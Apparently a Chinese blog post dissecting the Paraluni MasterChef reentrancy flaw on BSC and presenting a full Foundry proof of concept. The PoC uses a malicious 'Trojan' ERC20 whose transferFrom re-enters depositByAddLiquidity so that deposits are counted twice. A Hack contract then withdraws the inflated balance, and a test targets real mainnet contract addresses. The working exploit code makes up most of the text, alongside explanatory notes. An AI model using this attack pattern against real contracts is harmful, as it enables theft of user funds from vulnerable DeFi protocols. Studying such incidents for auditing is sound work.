整体的思路是特洛伊木马token的思路,重入masterChef中的 depositByAddLiquidity方法。该方法的核心错误逻辑在于:它只检查了lpToken的地址合法性,没有检查token0,token1的地址合法性。从而让token0可以做成一个特洛伊木马,在token0里面transfer一个合法的token,从而成功添加流动性;而导致deposit重复计算。
整体的思路是特洛伊木马token的思路,重入masterChef中的 depositByAddLiquidity
方法。该方法的核心错误逻辑在于:它只检查了lpToken的地址合法性,没有检查token0,token1的地址合法性。从而让token0可以做成一个特洛伊木马,在token0里面transfer一个合法的token,从而成功添加流动性;而导致deposit重复计算。
vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this));
(vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600);
vars.newBalance = IERC20(_lpAddress).balanceOf(address(this));
require(vars.newBalance > vars.oldBalance, "B:E");
vars.liquidity = vars.newBalance.sub(vars.oldBalance);
_deposit(_pid, liquidity, _user);
re-entry
BSC
depositByAddLiquidity的函数签名中,包含一个address[2] memory _tokens; 如何正确构造一个address[2] memroy的结构
function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts)
在solidity中,构造一个位于memory的动态数组,一般是通过如下的方式来构造:
address[] memory _tokens = new address[](2);
_tokens[0] = address(token0);
_tokens[1] = address(token1);
但是这样构造出来的_tokens数组,其类型是:address[] memory
而不是 address[2] memory
;
正确的构造方式应该如下:
address[2] memory _tokens = [address(token0), adderss(token1)];
在特洛伊木马的ERC20 token中,trasnferFrom按照ERC20的标准是需要return 一个bool值的。因为我们在写特洛伊木马的ERC20 token是直接继承的OpenZeppelin的ERC20,那么应该是直接调用super.transferFrom();但问题在于是应该直接写super.transferFrom呢还是应该写return super.transferFrom呢?
即:
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
/// call from router.addLiquidity
if(msg.sender == address(router)) {
if (reentry == 0) {
reentry++;
if (shouldExecute) {
hack.hack2();
}
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
if (reentry == 1) {
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
} else {
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
}
经过测试,是应该写 return super.transferFrom
而不是直接的 super.transferFrom
这里的super应该理解为一个inner function的调用,所以对于一个inner function,其返回值也只会返回给上层函数,所以这里还需要把inner function的返回值再返回出去,这样才能够真正的去return 一个返回值,否则就会return 一个默认值 false。
在具体实现的时候,还有一个难点,也是一个设计上的难点:一共有两个token的transferFrom,是不是两个token都应该做特洛伊木马,还是只需要一个token做特洛伊木马,另一个token配合就行?
因为特洛伊木马token的调用关系如下:所以简单来说,另一个token必须要配合特洛伊木马token来执行,而自己不应该执行。所以需要在其中一个token加一个判断条件:shouldExecute, 对于特洛伊木马token,shouldExeucte应该为true,对于配合执行的token,shouldExecute为false
/// masterchef.depositByAddLiquidity(tokenA, tokenB)
/// paraRouter.addLiquidity(tokenA, tokenB)
/// paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
/// tokenA.transferFrom(masterchef, pair, amount)
/// masterchef.depositByAddLiquidity(usdt, busd)
/// paraRouter.addLiquidity(usdt, busd)
/// paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
/// usdt.transferFrom(masterchef, pair, amount)
/// busd.transferFrom(masterchef, pair, amount) // from another token, which must cooperate with te Trojan token
/// pair.mint(lp) = amountA
/// var.newBalance = amountA
/// masterChef._deposit(_pid,amountA,_user)
/// tokenB.transferFrom(masterChef, pair, amount) // from another token, which must cooperate with te Trojan token
/// pair.mint(lp) = amountB => useless!!!
/// var.newBalance = amountA!!!
/// masterchef._deposit(_pid,amountA,_user)
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IMasterChef} from "./IMasterChef.sol";
import {IParaRouter} from "./IParaRouter.sol";
///妥妥的paradigm的特洛伊木马思路,关键点在于
///ERC20.transfer(user.transfer) 构造一个ERC20代币,在里面的transfer时,去deposit一个USDC的token,再次调用deposit,这样就可以重复计算两次balance
/// hack.hack()
/// masterchef.depositByAddLiquidity(tokenA, tokenB)
/// paraRouter.addLiquidity(tokenA, tokenB)
/// paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
/// tokenA.transferFrom(masterchef, pair, amount)
/// masterchef.depositByAddLiquidity(usdt, busd)
/// paraRouter.addLiquidity(usdt, busd)
/// paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
/// usdt.transferFrom(masterchef, pair, amount)
/// pair.mint(lp) = amountA
/// var.newBalance = amountA
/// masterChef._deposit(_pid,amountA,_user)
/// pair.mint(lp) = amountB => useless!!!
/// var.newBalance = amountA!!!
/// masterchef._deposit(_pid,amountA,_user)
contract DamnToken is ERC20 {
IERC20 public token;
IParaRouter public router;
Hack public hack;
bool public shouldExecute = false;
uint256 reentry = 0;
constructor(
string memory name,
string memory symbol,
IERC20 _token,
IParaRouter _router,
Hack _hack,
bool _shouldExecute) ERC20(name, symbol)
{
token = _token;
router = _router;
hack = _hack;
shouldExecute = _shouldExecute;
_mint(msg.sender, 100000 ether );
}
/// @dev 特洛伊木马:
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
/// call from router.addLiquidity
if(msg.sender == address(router)) {
if (reentry == 0) {
reentry++;
if (shouldExecute) {
hack.hack2();
}
return super.transferFrom(_from, _to, _value);
}
if (reentry == 1) {
return token.transferFrom(_from, _to, _value);
}
} else {
return super.transferFrom(_from, _to, _value);
}
}
}
contract Hack is DSTest, stdCheats {
IMasterChef public masterChef;
DamnToken public damnToken;
DamnToken public damnToken2;
IParaRouter public router;
IERC20 public usdt;
IERC20 public busd;
Vm public vm = Vm(HEVM_ADDRESS);
constructor(
IMasterChef _masterChef,
IParaRouter _router,
IERC20 _usdt,
IERC20 _busd)
{
masterChef = _masterChef;
router = _router;
damnToken = new DamnToken("DamnToken", "DT", usdt, router, this, true);
damnToken2 = new DamnToken("DamnToken2", "DT2", busd, router, this, false);
usdt = _usdt;
busd = _busd;
vm.label(address(damnToken), "damnToken");
vm.label(address(damnToken2), "damnToken2");
}
function startHack() public {
damnToken.approve(address(masterChef), type(uint256).max);
damnToken2.approve(address(masterChef), type(uint256).max);
usdt.approve(address(masterChef), type(uint256).max);
busd.approve(address(masterChef), type(uint256).max);
address[2] memory tokens = [address(damnToken), address(damnToken2)];
uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
masterChef.depositByAddLiquidity(18,tokens,amounts);
//getUserInfo
(uint256 amount, ) = masterChef.userInfo(18, address(this));
//withdraw
masterChef.withdraw(18, amount);
}
function hack2() public {
address[2] memory tokens = [address(usdt), address(busd)];
uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
masterChef.depositByAddLiquidity(18,tokens,amounts);
}
}
contract ParaluniTest is DSTest , stdCheats {
address public paraProxyAddr = 0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4;
address public paraImplAddr = 0xA386F30853A7EB7E6A25eC8389337a5C6973421D;
address public lpAddr = 0x3fD4FbD7a83062942b6589A2E9e2436dd8e134D4;
address public pancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address public usdtAddr = 0x55d398326f99059fF775485246999027B3197955;
address public busdAddr = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address public pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
address public paraRouter = 0x48Bb5f07e78f32Ac7039366533D620C72c389797;
address public ugt = 0xbc5db89CE5AB8035A71c6Cd1cd0F0721aD28B508;
address public ubt = 0xcA2ca459Ec6E4F58AD88AEb7285D2e41747b9134;
Hack public hack;
address public alice = address(0xdeadbeef);
Vm public vm = Vm(HEVM_ADDRESS);
function setUp() public {
hack = new Hack(
IMasterChef(paraProxyAddr),
IParaRouter(payable(paraRouter)),
IERC20(usdtAddr),
IERC20(busdAddr)
);
vm.label(address(hack), "hack");
vm.label(paraProxyAddr, "paraProxy");
vm.label(paraImplAddr, "paraImpl");
vm.label(lpAddr, "lp");
vm.label(pancakeFactory, "pancakeFactory");
vm.label(usdtAddr, "usdt");
vm.label(busdAddr, "busd");
vm.label(pair, "pair");
vm.label(paraRouter, "paraRouter");
tip(usdtAddr, address(hack), 1000 ether);
tip(busdAddr, address(hack), 1000 ether);
emit log_named_uint("USDT balance of Hack", IERC20(usdtAddr).balanceOf(address(hack)));
emit log_named_uint("BUSD balance of Hack", IERC20(busdAddr).balanceOf(address(hack)));
}
function testHack() public {
hack.startHack();
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!